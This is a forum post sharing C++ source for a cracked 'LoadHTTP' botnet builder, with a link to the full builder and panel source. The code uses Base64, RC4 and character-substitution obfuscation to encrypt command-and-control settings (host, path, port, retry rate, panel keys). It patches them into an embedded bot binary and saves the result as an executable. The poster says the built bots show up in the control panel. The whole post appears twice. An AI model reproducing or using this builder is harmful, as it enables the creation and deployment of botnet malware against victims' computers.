OP 04 September, 2020 - 10:48 PM
Hi, sorry i have not uploaded in a bit. I was busy doing other projects.
With this you will be able to create your own builder =D LoadHTTP = Cracked. Now make your own bin if you don't trust me.
I have already tested it with the panel files and a test bin. It fully works and shows up in panel
For full source of builder and panel nephalembuddy.com/showthread.php?2-Builder-Panel-LoadHTTP-Windows-Native-Aggressive-Bot-Network-Control-System
Base64.cpp
Code:
#include "Base64.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
#include <string>
namespace Base64
{
namespace
{
char B64IXTable_enc[64] = { 0 };
char B64IXTable_dec[256] = { 0 };
const uint16_t mod_table[] = { 0, 2, 1 };
const char b64Padding = '=';
void generateB64Table()
{
if(B64IXTable_enc[0] == 'A')
return;
for(int i = 0; i < 26; i++)
{
B64IXTable_enc[i] = 'A' + i;
B64IXTable_enc[26 + i] = 'a' + i;
}
for(int i = 0; i < 10; i++)
B64IXTable_enc[52 + i] = '0' + i;
B64IXTable_enc[62] = '+';
B64IXTable_enc[63] = '/';
for(int i = 0; i < sizeof(B64IXTable_enc); i++)
B64IXTable_dec[B64IXTable_enc[i]] = i;
}
}
}
inline size_t Base64::getBSizeOf_B64(std::string &encStr)
{
size_t strLen = encStr.size();
size_t sizeOfData = strLen / 4 * 3;
if(encStr[strLen - 1] == b64Padding) sizeOfData--;
if(encStr[strLen - 2] == b64Padding) sizeOfData--;
return sizeOfData;
}
std::string Base64::encodeBytes_B64(uint8_t* pData, size_t lenData)
{
if(pData == 0 || lenData == 0)
return std::string();
generateB64Table();
std::string outputString;
size_t sizeOfBtyes = 4 * ((lenData + 2) / 3);
for(uint32_t i = 0; i < lenData;)
{
uint32_t octet_a, octet_b, octet_c, triple;
octet_a = i < lenData ? pData[i++] : 0;
octet_b = i < lenData ? pData[i++] : 0;
octet_c = i < lenData ? pData[i++] : 0;
triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
outputString += B64IXTable_enc[(triple >> 3 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 2 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 1 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 0 * 6) & 0x3F];
}
for(uint32_t i = 0; i < mod_table[lenData % 3]; i++)
outputString[sizeOfBtyes - 1 - i] = b64Padding;
return outputString;
}
bool Base64::decodeString_B64(std::string &encStr, uint8_t* pOutData, size_t dataLen)
{
if(encStr.size() == 0 || pOutData == 0 || dataLen == 0)
return false;
generateB64Table();
size_t inputLen = encStr.size();
size_t sizeOfData = getBSizeOf_B64(encStr);
if(dataLen < sizeOfData)
return false;
for(uint32_t i = 0, j = 0; i < inputLen;)
{
uint32_t sextet_a = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_b = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_c = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_d = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6);
if(j < sizeOfData) pOutData[j++] = (triple >> 2 * 8) & 0xFF;
if(j < sizeOfData) pOutData[j++] = (triple >> 1 * 8) & 0xFF;
if(j < sizeOfData) pOutData[j++] = (triple >> 0 * 8) & 0xFF;
}
return true;
}
---------------------------------------------------
base64.h
Code:
#pragma once
#include <stddef.h>
#include <stdint.h>
#include <string>
namespace Base64
{
size_t getBSizeOf_B64(std::string &encStr);
std::string encodeBytes_B64(uint8_t* pData, size_t lenData);
bool decodeString_B64(std::string &encStr, uint8_t* pOutData, size_t bufLen);
}
---------------------------------------------------
main.cpp
Code:
#include <cstddef>
#include <cstdint>
#include <cstdlib>
#include <cstdio>
#include <stdexcept>
#include <string>
#include <vector>
#include <memory>
#include <ctime>
#include <Windows.h>
#include <Commdlg.h>
#include "Base64.h"
#include "Sample.h"
// [======]
// betabot@protonnmail.ch
// [======]
//#define RUN_CONFIG_DECRYPTION
struct arc4_context
{
int x; /*!< permutation index */
int y; /*!< permutation index */
unsigned char m[256]; /*!< permutation table */
};
namespace
{
void arc4_setup(arc4_context *ctx, const unsigned char *key, unsigned int keylen)
{
int i, j, a;
unsigned int k;
unsigned char *m;
ctx->x = 0;
ctx->y = 0;
m = ctx->m;
for(i = 0; i < 256; i++)
m[i] = (unsigned char)i;
j = k = 0;
for(i = 0; i < 256; i++, k++)
{
if(k >= keylen) k = 0;
a = m[i];
j = (j + a + key[k]) & 0xFF;
m[i] = m[j];
m[j] = (unsigned char)a;
}
}
int arc4_crypt(arc4_context *ctx, size_t length, const unsigned char *input, unsigned char *output)
{
int x, y, a, b;
size_t i;
unsigned char *m;
x = ctx->x;
y = ctx->y;
m = ctx->m;
for(i = 0; i < length; i++)
{
x = (x + 1) & 0xFF; a = m[x];
y = (y + a) & 0xFF; b = m[y];
m[x] = (unsigned char)b;
m[y] = (unsigned char)a;
output[i] = (unsigned char)
(input[i] ^ m[(unsigned char)(a + b)]);
}
ctx->x = x;
ctx->y = y;
return 0;
}
std::string gen_rnd_hex_str(size_t len, bool lowercase)
{
static const char rndChars_high[] = "ABCDEF123456789";
static const char rndChars_low[] = "abcdef123456789";
std::string buffer { };
const char* rndCharset = lowercase ? rndChars_low : rndChars_high;
while(len--)
buffer += rndCharset[(std::rand() % (_countof(rndChars_high) - 1))];
return buffer;
}
std::unique_ptr<uint8_t> gen_rnd_bytes(size_t len)
{
std::unique_ptr<uint8_t> buffer { new uint8_t[len] };
for(size_t i = 0; i < len; i++)
buffer.get()[i] = static_cast<uint8_t>(rand() % 256);
return buffer;
}
void replaceMod(bool decode, std::string &str)
{
std::vector<std::pair<char, char> > repTable {
{ 0x28, 47 },
{ 0x22, 94 },
{ 0x29, 61 },
{ 0x5B, 37 },
{ 0x2E, 43 },
{ 0x27, 42 }
};
for(size_t i = 0; i < str.length(); i++)
{
for(auto it = repTable.begin(); it < repTable.end(); it++)
{
if(str[i] == (decode ? it->first : it->second))
{
str[i] = (decode ? it->second : it->first);
break;
}
}
}
}
std::string decryptString(std::string input, const std::string &key)
{
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(key.c_str()), key.length());
replaceMod(true, input);
size_t inputLen = Base64::getBSizeOf_B64(input);
std::unique_ptr<char> decoded { new char[inputLen + 1] };
memset(decoded.get(), 0, inputLen + 1);
Base64::decodeString_B64(input, reinterpret_cast<uint8_t*>(decoded.get()), inputLen);
arc4_crypt(&rc4ctx, inputLen, reinterpret_cast<unsigned char*>(decoded.get()), reinterpret_cast<unsigned char*>(decoded.get()));
return std::string { decoded.get() };
}
std::string encryptString(std::string input, const std::string &key)
{
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(&key[0]), key.length());
arc4_crypt(&rc4ctx, input.length(), reinterpret_cast<unsigned char*>(&input[0]), reinterpret_cast<unsigned char*>(&input[0]));
std::string output = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&input[0]), input.length());
replaceMod(false, output);
return output;
}
std::wstring mbstowcsCXX(const std::string &input)
{
if(input.empty())
return std::wstring { };
try
{
size_t dataLen = MultiByteToWideChar(CP_UTF8, 0, input.data(), static_cast<int>(input.size()), NULL, 0);
size_t allocsize = (dataLen + 1) * sizeof(wchar_t);
int result = 0;
if(dataLen == 0)
throw - 1;
std::unique_ptr<uint8_t> buffer { new uint8_t[allocsize] };
memset(buffer.get(), 0, allocsize);
if((result = MultiByteToWideChar(CP_UTF8, 0, input.data(), static_cast<int>(input.size()), reinterpret_cast<LPWSTR>(buffer.get()), dataLen) == 0))
throw - 1;
std::wstring output { };
output += reinterpret_cast<const wchar_t*>(buffer.get());
return output;
}
catch(int)
{
return std::wstring { };
}
}
}
static void ConfigDecryption()
{
// Traffic encryption Key
std::string _Deckey { "NjgyNkQ3QTFDMjk2ODIzOTlCNzMxQUNGRTgxOUQxQTM)" };
std::string _PanelKey { "DRcl.rs5k1fWkjMlIg0Q9UPf7zvq0qVDnEmPFCzcyBs)" };
std::string varKey;
replaceMod(true, _Deckey);
replaceMod(true, _PanelKey);
size_t deckeySize = Base64::getBSizeOf_B64(_Deckey);
size_t enckeySize = Base64::getBSizeOf_B64(_PanelKey);
std::unique_ptr<char> deckeyStr { new char[deckeySize + 1] };
std::unique_ptr<char> panelKey { new char[enckeySize + 1] };
memset(deckeyStr.get(), 0, deckeySize + 1);
memset(panelKey.get(), 0, enckeySize + 1);
Base64::decodeString_B64(_Deckey, reinterpret_cast<uint8_t*>(deckeyStr.get()), deckeySize);
Base64::decodeString_B64(_PanelKey, reinterpret_cast<uint8_t*>(panelKey.get()), enckeySize);
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(deckeyStr.get()), deckeySize);
arc4_crypt(&rc4ctx, enckeySize, reinterpret_cast<unsigned char*>(panelKey.get()), reinterpret_cast<unsigned char*>(panelKey.get()));
// Other Stuff
varKey.append(deckeyStr.get());
varKey.append(panelKey.get());
std::string hostname { "804biOvwXwqw1StDRM6Fjr0)" }; // L Widechar
std::string path { "kkcElu.zSga1xWFXVZA)" }; // L Widechar
std::string port { "hRs)" };
std::string retryrate { "ixs)" };
std::string version { "jAVZzrk)" };
hostname = decryptString(hostname, varKey);
path = decryptString(path, varKey);
port = decryptString(port, varKey);
retryrate = decryptString(retryrate, varKey);
version = decryptString(version, varKey);
}
int main()
{
std::srand(static_cast<unsigned int>(std::time(0)));
#ifdef RUN_CONFIG_DECRYPTION
ConfigDecryption();
#endif
std::string webPanelKey = gen_rnd_hex_str(0x20, true);
std::string encKey = gen_rnd_hex_str(0x20, false);
std::string varKey;
varKey.append(encKey);
varKey.append(webPanelKey);
std::string wnckBase64 = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&encKey[0]), encKey.length());
replaceMod(false, wnckBase64);
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(&encKey[0]), encKey.length());
arc4_crypt(&rc4ctx, webPanelKey.length(), reinterpret_cast<unsigned char*>(&webPanelKey[0]), reinterpret_cast<unsigned char*>(&webPanelKey[0]));
std::string wpkBase64 = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&webPanelKey[0]), webPanelKey.length());
replaceMod(false, wpkBase64);
std::wstring hostname = mbstowcsCXX(encryptString("google.com", varKey));
std::wstring path = mbstowcsCXX(encryptString("/applejuic/LONGLONGLONGLONG/LLLLLL/gat.php", varKey));
std::string port = encryptString("80", varKey);
std::string retryrate = encryptString("60", varKey);
std::string version = encryptString("1.2.3", varKey);
memcpy(rawData_Sample + 0x19D84, &wpkBase64[0], wpkBase64.length());
memcpy(rawData_Sample + 0x19E30, &wnckBase64[0], wnckBase64.length());
memcpy(rawData_Sample + 0x20400, &hostname[0], hostname.length() * 2);
memcpy(rawData_Sample + 0x20460, &path[0], path.length() * 2);
memcpy(rawData_Sample + 0x204E0, &port[0], port.length());
memcpy(rawData_Sample + 0x204F0, &retryrate[0], retryrate.length());
memcpy(rawData_Sample + 0x20500, &version[0], version.length());
char outputFile[MAX_PATH * 2];
OPENFILENAMEA ofn;
memset(outputFile, 0, sizeof(outputFile));
memset(&ofn, 0, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = NULL;
ofn.lpstrFilter = "Executable (*.exe)\0*.exe\0";
ofn.lpstrFile = outputFile;
ofn.nMaxFile = (MAX_PATH * 2) - 1;
ofn.Flags = OFN_EXPLORER;
ofn.lpstrDefExt = "exe";
bool result = false;
if(GetSaveFileNameA(&ofn))
{
HANDLE hFile = CreateFileA(outputFile, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
DWORD datWritten = 0;
if(WriteFile(hFile, rawData_Sample, sizeof(rawData_Sample), &datWritten, NULL) && datWritten == sizeof(rawData_Sample))
result = false;
CloseHandle(hFile);
}
}
//Very detailed _error_ printing
printf(result ? "Done." : "_error_");
return 0;
}
---------------------------------------------------
With this you will be able to create your own builder =D LoadHTTP = Cracked. Now make your own bin if you don't trust me.
I have already tested it with the panel files and a test bin. It fully works and shows up in panel
For full source of builder and panel nephalembuddy.com/showthread.php?2-Builder-Panel-LoadHTTP-Windows-Native-Aggressive-Bot-Network-Control-System
Base64.cpp
Code:
#include "Base64.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
#include <string>
namespace Base64
{
namespace
{
char B64IXTable_enc[64] = { 0 };
char B64IXTable_dec[256] = { 0 };
const uint16_t mod_table[] = { 0, 2, 1 };
const char b64Padding = '=';
void generateB64Table()
{
if(B64IXTable_enc[0] == 'A')
return;
for(int i = 0; i < 26; i++)
{
B64IXTable_enc[i] = 'A' + i;
B64IXTable_enc[26 + i] = 'a' + i;
}
for(int i = 0; i < 10; i++)
B64IXTable_enc[52 + i] = '0' + i;
B64IXTable_enc[62] = '+';
B64IXTable_enc[63] = '/';
for(int i = 0; i < sizeof(B64IXTable_enc); i++)
B64IXTable_dec[B64IXTable_enc[i]] = i;
}
}
}
inline size_t Base64::getBSizeOf_B64(std::string &encStr)
{
size_t strLen = encStr.size();
size_t sizeOfData = strLen / 4 * 3;
if(encStr[strLen - 1] == b64Padding) sizeOfData--;
if(encStr[strLen - 2] == b64Padding) sizeOfData--;
return sizeOfData;
}
std::string Base64::encodeBytes_B64(uint8_t* pData, size_t lenData)
{
if(pData == 0 || lenData == 0)
return std::string();
generateB64Table();
std::string outputString;
size_t sizeOfBtyes = 4 * ((lenData + 2) / 3);
for(uint32_t i = 0; i < lenData;)
{
uint32_t octet_a, octet_b, octet_c, triple;
octet_a = i < lenData ? pData[i++] : 0;
octet_b = i < lenData ? pData[i++] : 0;
octet_c = i < lenData ? pData[i++] : 0;
triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
outputString += B64IXTable_enc[(triple >> 3 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 2 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 1 * 6) & 0x3F];
outputString += B64IXTable_enc[(triple >> 0 * 6) & 0x3F];
}
for(uint32_t i = 0; i < mod_table[lenData % 3]; i++)
outputString[sizeOfBtyes - 1 - i] = b64Padding;
return outputString;
}
bool Base64::decodeString_B64(std::string &encStr, uint8_t* pOutData, size_t dataLen)
{
if(encStr.size() == 0 || pOutData == 0 || dataLen == 0)
return false;
generateB64Table();
size_t inputLen = encStr.size();
size_t sizeOfData = getBSizeOf_B64(encStr);
if(dataLen < sizeOfData)
return false;
for(uint32_t i = 0, j = 0; i < inputLen;)
{
uint32_t sextet_a = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_b = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_c = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t sextet_d = (encStr[i] == b64Padding) ? 0 & i++ : B64IXTable_dec[(uint32_t)encStr[i++]];
uint32_t triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6);
if(j < sizeOfData) pOutData[j++] = (triple >> 2 * 8) & 0xFF;
if(j < sizeOfData) pOutData[j++] = (triple >> 1 * 8) & 0xFF;
if(j < sizeOfData) pOutData[j++] = (triple >> 0 * 8) & 0xFF;
}
return true;
}
---------------------------------------------------
base64.h
Code:
#pragma once
#include <stddef.h>
#include <stdint.h>
#include <string>
namespace Base64
{
size_t getBSizeOf_B64(std::string &encStr);
std::string encodeBytes_B64(uint8_t* pData, size_t lenData);
bool decodeString_B64(std::string &encStr, uint8_t* pOutData, size_t bufLen);
}
---------------------------------------------------
main.cpp
Code:
#include <cstddef>
#include <cstdint>
#include <cstdlib>
#include <cstdio>
#include <stdexcept>
#include <string>
#include <vector>
#include <memory>
#include <ctime>
#include <Windows.h>
#include <Commdlg.h>
#include "Base64.h"
#include "Sample.h"
// [======]
// betabot@protonnmail.ch
// [======]
//#define RUN_CONFIG_DECRYPTION
struct arc4_context
{
int x; /*!< permutation index */
int y; /*!< permutation index */
unsigned char m[256]; /*!< permutation table */
};
namespace
{
void arc4_setup(arc4_context *ctx, const unsigned char *key, unsigned int keylen)
{
int i, j, a;
unsigned int k;
unsigned char *m;
ctx->x = 0;
ctx->y = 0;
m = ctx->m;
for(i = 0; i < 256; i++)
m[i] = (unsigned char)i;
j = k = 0;
for(i = 0; i < 256; i++, k++)
{
if(k >= keylen) k = 0;
a = m[i];
j = (j + a + key[k]) & 0xFF;
m[i] = m[j];
m[j] = (unsigned char)a;
}
}
int arc4_crypt(arc4_context *ctx, size_t length, const unsigned char *input, unsigned char *output)
{
int x, y, a, b;
size_t i;
unsigned char *m;
x = ctx->x;
y = ctx->y;
m = ctx->m;
for(i = 0; i < length; i++)
{
x = (x + 1) & 0xFF; a = m[x];
y = (y + a) & 0xFF; b = m[y];
m[x] = (unsigned char)b;
m[y] = (unsigned char)a;
output[i] = (unsigned char)
(input[i] ^ m[(unsigned char)(a + b)]);
}
ctx->x = x;
ctx->y = y;
return 0;
}
std::string gen_rnd_hex_str(size_t len, bool lowercase)
{
static const char rndChars_high[] = "ABCDEF123456789";
static const char rndChars_low[] = "abcdef123456789";
std::string buffer { };
const char* rndCharset = lowercase ? rndChars_low : rndChars_high;
while(len--)
buffer += rndCharset[(std::rand() % (_countof(rndChars_high) - 1))];
return buffer;
}
std::unique_ptr<uint8_t> gen_rnd_bytes(size_t len)
{
std::unique_ptr<uint8_t> buffer { new uint8_t[len] };
for(size_t i = 0; i < len; i++)
buffer.get()[i] = static_cast<uint8_t>(rand() % 256);
return buffer;
}
void replaceMod(bool decode, std::string &str)
{
std::vector<std::pair<char, char> > repTable {
{ 0x28, 47 },
{ 0x22, 94 },
{ 0x29, 61 },
{ 0x5B, 37 },
{ 0x2E, 43 },
{ 0x27, 42 }
};
for(size_t i = 0; i < str.length(); i++)
{
for(auto it = repTable.begin(); it < repTable.end(); it++)
{
if(str[i] == (decode ? it->first : it->second))
{
str[i] = (decode ? it->second : it->first);
break;
}
}
}
}
std::string decryptString(std::string input, const std::string &key)
{
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(key.c_str()), key.length());
replaceMod(true, input);
size_t inputLen = Base64::getBSizeOf_B64(input);
std::unique_ptr<char> decoded { new char[inputLen + 1] };
memset(decoded.get(), 0, inputLen + 1);
Base64::decodeString_B64(input, reinterpret_cast<uint8_t*>(decoded.get()), inputLen);
arc4_crypt(&rc4ctx, inputLen, reinterpret_cast<unsigned char*>(decoded.get()), reinterpret_cast<unsigned char*>(decoded.get()));
return std::string { decoded.get() };
}
std::string encryptString(std::string input, const std::string &key)
{
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(&key[0]), key.length());
arc4_crypt(&rc4ctx, input.length(), reinterpret_cast<unsigned char*>(&input[0]), reinterpret_cast<unsigned char*>(&input[0]));
std::string output = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&input[0]), input.length());
replaceMod(false, output);
return output;
}
std::wstring mbstowcsCXX(const std::string &input)
{
if(input.empty())
return std::wstring { };
try
{
size_t dataLen = MultiByteToWideChar(CP_UTF8, 0, input.data(), static_cast<int>(input.size()), NULL, 0);
size_t allocsize = (dataLen + 1) * sizeof(wchar_t);
int result = 0;
if(dataLen == 0)
throw - 1;
std::unique_ptr<uint8_t> buffer { new uint8_t[allocsize] };
memset(buffer.get(), 0, allocsize);
if((result = MultiByteToWideChar(CP_UTF8, 0, input.data(), static_cast<int>(input.size()), reinterpret_cast<LPWSTR>(buffer.get()), dataLen) == 0))
throw - 1;
std::wstring output { };
output += reinterpret_cast<const wchar_t*>(buffer.get());
return output;
}
catch(int)
{
return std::wstring { };
}
}
}
static void ConfigDecryption()
{
// Traffic encryption Key
std::string _Deckey { "NjgyNkQ3QTFDMjk2ODIzOTlCNzMxQUNGRTgxOUQxQTM)" };
std::string _PanelKey { "DRcl.rs5k1fWkjMlIg0Q9UPf7zvq0qVDnEmPFCzcyBs)" };
std::string varKey;
replaceMod(true, _Deckey);
replaceMod(true, _PanelKey);
size_t deckeySize = Base64::getBSizeOf_B64(_Deckey);
size_t enckeySize = Base64::getBSizeOf_B64(_PanelKey);
std::unique_ptr<char> deckeyStr { new char[deckeySize + 1] };
std::unique_ptr<char> panelKey { new char[enckeySize + 1] };
memset(deckeyStr.get(), 0, deckeySize + 1);
memset(panelKey.get(), 0, enckeySize + 1);
Base64::decodeString_B64(_Deckey, reinterpret_cast<uint8_t*>(deckeyStr.get()), deckeySize);
Base64::decodeString_B64(_PanelKey, reinterpret_cast<uint8_t*>(panelKey.get()), enckeySize);
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(deckeyStr.get()), deckeySize);
arc4_crypt(&rc4ctx, enckeySize, reinterpret_cast<unsigned char*>(panelKey.get()), reinterpret_cast<unsigned char*>(panelKey.get()));
// Other Stuff
varKey.append(deckeyStr.get());
varKey.append(panelKey.get());
std::string hostname { "804biOvwXwqw1StDRM6Fjr0)" }; // L Widechar
std::string path { "kkcElu.zSga1xWFXVZA)" }; // L Widechar
std::string port { "hRs)" };
std::string retryrate { "ixs)" };
std::string version { "jAVZzrk)" };
hostname = decryptString(hostname, varKey);
path = decryptString(path, varKey);
port = decryptString(port, varKey);
retryrate = decryptString(retryrate, varKey);
version = decryptString(version, varKey);
}
int main()
{
std::srand(static_cast<unsigned int>(std::time(0)));
#ifdef RUN_CONFIG_DECRYPTION
ConfigDecryption();
#endif
std::string webPanelKey = gen_rnd_hex_str(0x20, true);
std::string encKey = gen_rnd_hex_str(0x20, false);
std::string varKey;
varKey.append(encKey);
varKey.append(webPanelKey);
std::string wnckBase64 = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&encKey[0]), encKey.length());
replaceMod(false, wnckBase64);
arc4_context rc4ctx;
memset(&rc4ctx, 0, sizeof(arc4_context));
arc4_setup(&rc4ctx, reinterpret_cast<const unsigned char*>(&encKey[0]), encKey.length());
arc4_crypt(&rc4ctx, webPanelKey.length(), reinterpret_cast<unsigned char*>(&webPanelKey[0]), reinterpret_cast<unsigned char*>(&webPanelKey[0]));
std::string wpkBase64 = Base64::encodeBytes_B64(reinterpret_cast<uint8_t*>(&webPanelKey[0]), webPanelKey.length());
replaceMod(false, wpkBase64);
std::wstring hostname = mbstowcsCXX(encryptString("google.com", varKey));
std::wstring path = mbstowcsCXX(encryptString("/applejuic/LONGLONGLONGLONG/LLLLLL/gat.php", varKey));
std::string port = encryptString("80", varKey);
std::string retryrate = encryptString("60", varKey);
std::string version = encryptString("1.2.3", varKey);
memcpy(rawData_Sample + 0x19D84, &wpkBase64[0], wpkBase64.length());
memcpy(rawData_Sample + 0x19E30, &wnckBase64[0], wnckBase64.length());
memcpy(rawData_Sample + 0x20400, &hostname[0], hostname.length() * 2);
memcpy(rawData_Sample + 0x20460, &path[0], path.length() * 2);
memcpy(rawData_Sample + 0x204E0, &port[0], port.length());
memcpy(rawData_Sample + 0x204F0, &retryrate[0], retryrate.length());
memcpy(rawData_Sample + 0x20500, &version[0], version.length());
char outputFile[MAX_PATH * 2];
OPENFILENAMEA ofn;
memset(outputFile, 0, sizeof(outputFile));
memset(&ofn, 0, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = NULL;
ofn.lpstrFilter = "Executable (*.exe)\0*.exe\0";
ofn.lpstrFile = outputFile;
ofn.nMaxFile = (MAX_PATH * 2) - 1;
ofn.Flags = OFN_EXPLORER;
ofn.lpstrDefExt = "exe";
bool result = false;
if(GetSaveFileNameA(&ofn))
{
HANDLE hFile = CreateFileA(outputFile, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
DWORD datWritten = 0;
if(WriteFile(hFile, rawData_Sample, sizeof(rawData_Sample), &datWritten, NULL) && datWritten == sizeof(rawData_Sample))
result = false;
CloseHandle(hFile);
}
}
//Very detailed _error_ printing
printf(result ? "Done." : "_error_");
return 0;
}
---------------------------------------------------
